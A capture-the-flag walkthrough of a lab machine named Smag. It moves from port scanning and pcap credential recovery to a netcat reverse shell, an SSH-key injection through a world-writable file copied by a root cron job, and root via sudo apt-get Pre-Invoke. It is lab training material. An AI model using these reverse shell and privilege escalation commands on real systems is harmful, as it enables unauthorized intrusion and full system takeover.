



📶 ⌚ 45 min 👥 16,739 🚆

Rustscan

Result:

Nmap Scan

Result:

```
Nmap scan report for 10.114.190.154
Host is up (0.10s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 74:e0:e1:b4:05:85:6a:15:68:7e:16:da:f2:c7:6b:ee (RSA)
|   256 bd:43:62:b9:a1:86:51:36:f8:c7:df:f9:0f:63:8f:a3 (ECDSA)
|_  256 f9:e7:da:07:8f:10:af:97:0b:32:87:c9:32:d7:1b:76 (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-title: Smag
|_ http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.01 seconds
```

Enumeration

Visiting **10.114.190.154** returns:

Welcome to Smag!

This site is still heavily under development, check back soon to see some of the awesome services we offer!

Directory Enumeration

```
gobuster dir -u 10.114.190.154 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 100
```

Discovered:

- `/mail`

/mail:

The following emails are being displayed using our new and improved email2web software, allowing you to view your emails in a hassle free way!

Note: all attachments must be downloaded with wget.

Network Migration

Due to the exponential growth of our platform, and thus the need for more systems, we need to migrate everything from our current 192.168.33.0/24 network to the 10.10.0.0/8 network.

The previous engineer had done some network traces so hopefully they will give you an idea of how our systems are addressed.

dHJhY2Uy.pcap

TO: NETADMIN@SMAG.THM CC: UZI@SMAG.THM FROM: JAKE@SMAG.THM

Re: Network Migration

I tried downloading the file but I found an anomaly in the attached file, could you please tell me what has happened here?

TO: JAKE@SMAG.THM CC: NETADMIN@SMAG.THM FROM: UZI@SMAG.THM

Re: Network Migration

Hi Uzi, as the previous developer had found a bug in the email2web software that he has been unable to fix, could you please download all attachments with wget until further notice, thank you.

TO: UZI@SMAG.THM CC: NETADMIN@SMAG.THM FROM: JAKE@SMAG.COM

Discovered host and credentials

Clicking **dHJhY2Uy.pcap** will download that file. File can be viewed via **wireshark** tool:

1	0.000000	192.168.33.10	192.168.33.69	TCP	74	34030 → 80 [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM TSval=1072794 TSecr=0 WS=128
2	0.000158	192.168.33.69	192.168.33.10	TCP	74	80 → 34030 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM TSval=528280 TSecr=1072794 WS=128
3	0.000171	192.168.33.10	192.168.33.69	TCP	66	34030 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 TSval=1072794 TSecr=528280
4	0.000230	192.168.33.10	192.168.33.69	HTTP	268	POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
5	0.000341	192.168.33.69	192.168.33.10	TCP	66	80 → 34030 [ACK] Seq=1 Ack=203 Win=30080 Len=0 TSval=528280 TSecr=1072794
6	0.001326	192.168.33.69	192.168.33.10	HTTP	213	HTTP/1.1 200 OK
7	0.001333	192.168.33.10	192.168.33.69	TCP	66	34030 → 80 [ACK] Seq=203 Ack=148 Win=30336 Len=0 TSval=1072794 TSecr=528280
8	0.001416	192.168.33.10	192.168.33.69	TCP	66	34030 → 80 [FIN, ACK] Seq=203 Ack=148 Win=30336 Len=0 TSval=1072794 TSecr=528280
9	0.001538	192.168.33.69	192.168.33.10	TCP	66	80 → 34030 [ACK] Seq=148 Ack=204 Win=30080 Len=0 TSval=528280 TSecr=1072794
10	0.001542	192.168.33.10	192.168.33.69	TCP	66	34030 → 80 [ACK] Seq=204 Ack=149 Win=30336 Len=0 TSval=1072794 TSecr=528280

Right click one of **HTTP** packet and following as **HTTP Stream** will reveal a host and credentials:

```
POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded

[REDACTED]
HTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 18:04:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```

Following line should be added to `/etc/hosts`:

```
10.114.190.154 smag.thm development.smag.thm
```

Visiting **development.smag.thm/login.php** returns:

Login to the admin area

Username

Username...

Password

Password...

LOGIN

Discovered credentials can be used here:

Enter a command

Command

Command...

SEND

LOGOUT

Initial Access

Shell Access as www-data

Reverse shell can be accessed here with following command:

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LOCAL_IP> <PORT> >/tmp/f
```

Listening with following command:

```
nc -nvlp <PORT>
```

```
farid@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.131.218] from (UNKNOWN) [10.114.190.154] 52376
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
```

Shell Stabilization

- `python3 -c 'import pty; pty.spawn("/bin/bash")'`
- **CTRL+Z** to background shell
- `stty raw -echo; fg`
- `export TERM=xterm`

Privilege Escalation

Shell Access as Jake

An interesting process discovered in `/etc/crontab`:

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root    /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
#
```

The content of `jake_id_rsa.pub.backup` goes to `authorized_keys` for `jake`. The permissions for that backup:

```
www-data@smag:/$ ls -ld /opt/.backups/jake_id_rsa.pub.backup
-rw-rw-rw- 1 root root 563 Jun  5 2020 /opt/.backups/jake_id_rsa.pub.backup
www-data@smag:/$
```

There is **write** access for everyone. So we can add our public key to get access via **ssh**. For this on local machine:

```
ssh-keygen -t ed25519 -f /tmp/ctfkey -N ""
```

This command will generate SSH key pair named **ctfkey** with blank passphrase in `/tmp`. Content of **ctfkey.pub** will be added to `jake_id_rsa.pub.backup`:

```
echo "ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIJGLpj5HqsBrQsw5h0tRf9qWrZ64AMh1AzL456HE25wx farid@kali" >
/opt/.backups/jake_id_rsa.pub.backup
```

After a minute, `/home/jake/.ssh/authorized_keys` will be overridden with local public key. On local machine:

```
ssh -i /tmp/ctfkey jake@10.114.190.154
```

```
farid@kali:~$ ssh -i /tmp/ctfkey jake@10.114.190.154
The authenticity of host '10.114.190.154 (10.114.190.154)' can't be established.
ED25519 key fingerprint is: SHA256:N0hcdtAhlytMwu8PGLVD+c0ZKcV7TMNwnOr0wVw0Wp8
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:13: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.114.190.154' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

Last login: Fri Jun  5 10:15:15 2020
jake@smag:~$
jake@smag:~$ whoami
jake
jake@smag:~$
```

User Flag

User flag (**user.txt**) retrieved in `/home/jake/`:

```
jake@smag:~$  
jake@smag:~$ cat /home/jake/user.txt  
[REDACTED]  
jake@smag:~$
```

Root Access

Vulnerability

```
sudo -l
```

```
jake@smag:~$ sudo -l  
Matching Defaults entries for jake on smag:  
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User jake may run the following commands on smag:  
(ALL : ALL) NOPASSWD: /usr/bin/apt-get  
jake@smag:~$
```

Jake user can use `/usr/bin/apt-get` as everyone even as **root** without any password. There is a vulnerability on **apt-get**. This can be accessed on [GTFOBins](#):

```
apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```

```
jake@smag:~$ sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh  
#  
# id  
uid=0(root) gid=0(root) groups=0(root)  
# whoami  
root  
#
```

Root Flag

Root flag (**root.txt**) retrieved in `/root`:

```
# cat /root/root.txt  
[REDACTED]  
#
```